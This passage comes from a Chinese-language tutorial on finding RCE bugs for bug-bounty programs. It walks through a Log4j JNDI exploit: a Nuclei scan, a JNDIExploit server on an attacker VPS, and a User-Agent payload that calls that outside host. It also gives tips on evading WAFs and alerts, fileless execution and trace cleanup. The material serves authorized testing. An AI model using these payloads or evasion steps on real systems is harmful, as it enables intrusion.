SRC 提交需包含 “漏洞存在证明”,以下工具可快速生成证据:
- 截图工具:Snipaste(截取 “请求 Payload + 响应结果”,如
whoami
执行结果); - HTTP 请求导出:Burp Suite 的 “Copy to file” 功能(导出完整请求包,包含 Payload);
- 命令执行日志:攻击者 VPS 的
tcpdump
/nc
日志(如ping
外带的 ICMP 包日志)。
提交材料模板:
- 漏洞标题:
【高危】目标IP:端口 存在Log4j RCE漏洞(CVE-2021-44228)
; - 漏洞描述:
目标使用Log4j 2.14.1,通过注入JNDI Payload可执行任意命令
; - 复现步骤:
1. 启动JNDIExploit;2. 注入Payload ${jndi:rmi://VPS IP:1099/Exploit?cmd=whoami};3. 查看响应包含nt authority\system
; - 证明截图:包含 “请求 Payload”“响应结果”“VPS 日志” 的拼接截图。
十、实战案例:SRC 中 Log4j RCE 漏洞
场景背景
SRC 平台提供某企业资产列表(含 100 个域名),目标是快速找到 RCE 漏洞。
实施步骤
-
批量筛选 Log4j 风险资产):
用Nuclei批量检测Log4j漏洞
nuclei -l src-targets.txt -t templates/cves/2021/CVE-2021-44228.yaml -silent -o log4j-vuln.txt
结果:发现`http://app.target.com:8080`存在 Log4j 漏洞(Nuclei 标记为 VULNERABLE)。2. **精准验证 RCE**:1. 攻击者 VPS 启动 JNDIExploit:```bash
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 1.2.3.4 -p 8888
-
用 Burp 拦截
http://app.target.com:8080/login
请求,在User-Agent
头注入 Payload:User-Agent: ${jndi:rmi://1.2.3.4:1099/Exploit?cmd=whoami}
-
发送请求,JNDIExploit 日志显示 “Command executed successfully”,响应中包含
nt authority\system
(证明高权限 RCE)。 -
留存证据并提交:
- 截图 Burp 的 “请求头(含 Payload)” 和 “响应结果(含 whoami 输出)”;
- 截图 JNDIExploit 的命令执行日志;
十一、SRC 中 RCE 挖掘的避坑指南
- 避免触发告警:
- 不执行
nmap -p-
全端口扫描(用-p 80,443,8080,8443
等常见端口); - 不落地大文件(如
meterpreter.exe
),优先用 “无文件执行”(如ping
外带、内存马); - 控制请求频率(每秒≤1 次),避免被 WAF 判定为攻击。
- 不执行
- 不纠结 “低价值 RCE”:
- 若 RCE 权限为
www-data
且无提权路径,仅能执行whoami
,SRC 评分可能较低(5-7 分),可优先寻找高权限 RCE; - 若目标是 “测试环境”,即使存在 RCE,SRC 可能不收录,需提前确认资产类型。
- 若 RCE 权限为
- 及时跟进漏洞修复:
- 提交漏洞后,定期查看 SRC 状态(如 “已确认”“已修复”);
- 若漏洞未修复,可补充 “利用该 RCE 获取敏感数据” 的证明(如读取
/etc/passwd
),提升评分。
十二、总结
RCE 漏洞是渗透测试与红队实战中的 “核武器”,其危害等级与利用价值均居所有漏洞之首。理解 RCE 的核心原理(输入可控→代码执行),掌握 “验证→getshell→提权→横向→持久化” 的标准化利用链路,熟练使用 MSF、Cobalt Strike、JNDIExploit 等工具,是红队工程师的必备能力。
在护网行动中,RCE 的使用需遵循 “合法、高效、隐蔽” 三大原则:仅在授权范围内测试,快速获取高价值凭证,及时清理痕迹。只有这样,才能在红蓝对抗中高效拿分,同时规避法律与合规风险。
重要提示:所有 RCE 漏洞测试必须在书面授权下进行,未经授权的 RCE 攻击涉嫌违反《网络安全法》《刑法》第 285/286 条,需自行承担法律责任。